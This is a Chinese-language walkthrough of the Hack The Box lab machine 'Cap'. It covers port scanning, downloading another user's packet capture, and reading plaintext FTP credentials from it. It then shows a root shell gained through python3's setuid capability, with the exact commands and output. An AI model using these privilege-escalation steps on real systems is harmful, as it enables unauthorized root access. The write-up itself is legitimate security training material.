HTB Cap
靶机信息
靶机:Cap
难度:easy
系统:linux
IP: 10.129.71.4
信息收集
端口扫描
nmap 10.129.71.4
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
nmap 10.129.71.4 -p 21,22,80 -sV
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
开放了21、22、80端口
ftp明文流量泄露
访问80 web服务,可以下载5秒内的流量包

burp 抓包,发现有一个请求是下载流量包的请求GET /download/1,扫描download目录
还存在一个/download/0,文件大小10KB,下载下来看内容

使用 Wireshark 分析流量,在 FTP 协议的 USER 和 PASS 报文中直接发现了明文凭证: nathan/Buck3tH4TF0RM3!

ftp登录后,可以看到当前在 nathan 用户家目录

setuid capability 提权
尝试使用该凭证登录ssh,成功登录,只能看到极少进程信息(原因见下文)

在linux一般需要root权限才能抓取流量,回顾web入口处服务提供了5秒内流量抓取下载功能,发现web在常见的 /var/www/html 目录下,使用的 flask 框架,并且开启了debug模式

关键:在 capture 函数中,使用python调用 os.setuid(0) 提升权限为 root,python具有setuid的能力
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
验证,提权
nathan@cap:~$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system('/bin/bash')
root@cap:~# whoami
root

也可以通过更常规的枚举找到具有 setuid 能力的python3
getcap -r / 2>/dev/null

发现靶机还有 setpriv ,获取完整 root shell 比较简单
nathan@cap:~$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system('setpriv --reuid=0 --regid=0 --clear-groups /bin/bash')
root@cap:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cap:~#
隐藏进程原因
查看 /proc 目录的挂载选项,可以看到 /proc 目录是以 hidepid=2 挂载的,普通用户无法查看其他用户的进程信息
hidepid 选项说明:
hidepid=0:所有人都能看到所有进程(默认)
hidepid=1:用户只能看到自己的进程,但能看到其他用户的 /proc/
hidepid=2:用户只能看到自己的进程,完全看不到其他用户的进程信息
root@cap:~# mount | grep proc
proc on /proc type proc (rw,relatime,hidepid=2)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=26439)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
